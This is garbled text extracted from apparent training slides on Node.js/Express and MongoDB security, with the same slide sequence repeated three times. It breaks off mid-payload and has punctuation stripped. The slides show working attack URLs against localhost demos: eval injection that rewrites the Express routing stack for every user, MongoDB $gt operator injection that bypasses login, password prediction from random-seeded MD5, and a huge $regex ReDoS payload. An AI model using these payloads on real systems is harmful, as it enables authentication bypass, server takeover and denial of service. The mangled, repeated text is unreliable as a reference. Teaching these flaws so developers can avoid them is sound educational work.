d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Step2
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
